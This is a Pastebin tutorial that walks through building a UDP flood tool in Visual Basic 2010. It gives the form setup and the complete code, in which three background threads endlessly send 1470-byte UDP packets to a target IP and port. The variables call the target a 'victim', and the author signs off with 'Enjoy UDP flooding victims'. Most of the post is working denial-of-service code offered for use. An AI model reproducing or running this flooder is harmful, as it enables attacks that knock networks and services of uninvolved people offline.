iViiRuS

UDP Flooder in vb tut

Jul 2nd, 2013
400
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Tutorial:
  2.  
  3. Open up Visual Basic 2010 on your computer.
  4.  
  5. File > New Project > UDP Flooder > Ok
  6.  
  7. Add 2 Buttons
  8. Add 1 Listbox
  9. Add 1 Textboxes
  10. Add 2 Labels
  11. Add 3 Backgroundworkers
  12. Add 1 NumericUpDown
  13. From the toolbox.
  14.  
  15. Name Button1 Flood
  16. Name Button2 Stop
  17. Name Label1 Host
  18. Name Label2 Port
  19.  
  20. The NumericUpDown will be the port numbers. Right click on NumericUpDown, look for value, change 0 to 80, hit Ok.
  21.  
  22. The form should basically look like this:
  23. Spoiler (Click to View)
  24.  
  25. Okay, now for the coding part.
  26. Double click on the form.
  27. On top of ''Public Class Form1'' add this:
  28. Code:
  29. Imports System
  30. Imports System.Collections.Generic
  31. Imports System.Net
  32. Imports System.Net.Sockets 'Imports Sockets
  33. Imports System.Threading 'To give the impression that multiple tasks are excuting at the same time
  34. Imports System.Text
  35.  
  36. Under ''Public Class Form1'' add this code:
  37. Code:
  38.  
  39. Dim i As Integer = 0
  40. Public Shared IP As String 'Converts IP as a string
  41. Public Shared Port As Integer
  42.  
  43. Now add this code in between Public Class Form 1 and End Class:
  44. Code:
  45.  
  46. Private Sub BackgroundWorker1_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
  47. Dim targetIp As IPAddress = IPAddress.Parse(IP) 'IP to send the packets to
  48. Dim target As New IPEndPoint(targetIp, Port) 'Port to flood
  49. Dim packet As Byte() = New Byte(1469) {} 'Creates bytes
  50. Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp) 'Creates sockets
  51. While True
  52. If BackgroundWorker1.CancellationPending = True Then
  53. Exit Sub
  54. End If
  55. Try
  56. socket.SendTo(packet, target) 'Sends packets
  57. i += 1
  58. report()
  59. Catch ex As Exception
  60. MsgBox(IP & " is not reachable at the moment! Please try again later.")
  61. Application.Exit () 'Closes the application
  62. End Try
  63. End While
  64. End Sub
  65.  
  66. Go back to Form1 design.
  67. Double click on Button1, also known as Flood.
  68. Add this code:
  69. Code:
  70.  
  71. Button2.Enabled = True
  72. Button1.Enabled = False
  73. TextBox1.Enabled = False
  74. NumericUpDown1.Enabled = False
  75. IP = TextBox1.Text
  76. Port = NumericUpDown1.Value
  77. ListBox1.Items.Add("Flooding: " & IP & " On port : " & Port)
  78. BackgroundWorker1.RunWorkerAsync() 'Runs the backgroundworker
  79. BackgroundWorker2.RunWorkerAsync()
  80. BackgroundWorker3.RunWorkerAsync()
  81.  
  82. Add this code under End Sub:
  83. Code:
  84.  
  85. Sub report() Handles BackgroundWorker1.ProgressChanged
  86. ListBox1.Items.Add(i & " Packets Sent") 'Lets you know when the flooding is finished
  87. End Sub
  88.  
  89. Back to Form1 design.
  90. Double click on Stop button.
  91. Add this code:
  92. Code:
  93.  
  94. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  95. BackgroundWorker1.CancelAsync() 'Stops flooding
  96. BackgroundWorker2.CancelAsync()
  97. BackgroundWorker3.CancelAsync()
  98. End Sub
  99.  
  100. Add this giant code into the coding part of your UDP Flooder form:
  101.  
  102. Code:
  103.  
  104. Sub done() Handles BackgroundWorker1.RunWorkerCompleted
  105.  
  106. i = 0
  107. Button2.Enabled = False
  108. Button1.Enabled = True
  109. TextBox1.Enabled = True
  110. NumericUpDown1.Enabled = True
  111. End Sub
  112. Private Sub Backgroundworker2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker2.DoWork
  113. Dim victimIp As IPAddress = IPAddress.Parse(IP)
  114. Dim slave As New IPEndPoint(victimIp, Port)
  115. Dim packet As Byte() = New Byte(1469) {}
  116. Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
  117.  
  118. While True
  119. If BackgroundWorker2.CancellationPending = True Then
  120. Exit Sub
  121. End If
  122. Try
  123. socket.SendTo(packet, slave)
  124. i += 1
  125. Catch ex As Exception
  126. BackgroundWorker2.CancelAsync()
  127. End Try
  128. End While
  129. End Sub
  130. Private Sub Backgroundworker3_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker3.DoWork
  131. Dim victimIp As IPAddress = IPAddress.Parse(IP)
  132. Dim slave As New IPEndPoint(victimIp, Port)
  133. Dim packet As Byte() = New Byte(1469) {}
  134. Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
  135.  
  136. While True
  137. If BackgroundWorker3.CancellationPending = True Then
  138. Exit Sub
  139. End If
  140. Try
  141.  
  142. socket.SendTo(packet, slave)
  143. i += 1
  144. Catch ex As Exception
  145. BackgroundWorker3.CancelAsync()
  146. End Try
  147. End While
  148. End Sub
  149.  
  150. You're now done with your UDP Flooder. I hope you take my explanation of the codes in consideration of learning Visual Basic. Thumbsup
  151.  
  152. Enjoy UDP flooding victims Smile
  153.  
  154. -Sheikh ViiRuS
RAW Paste Data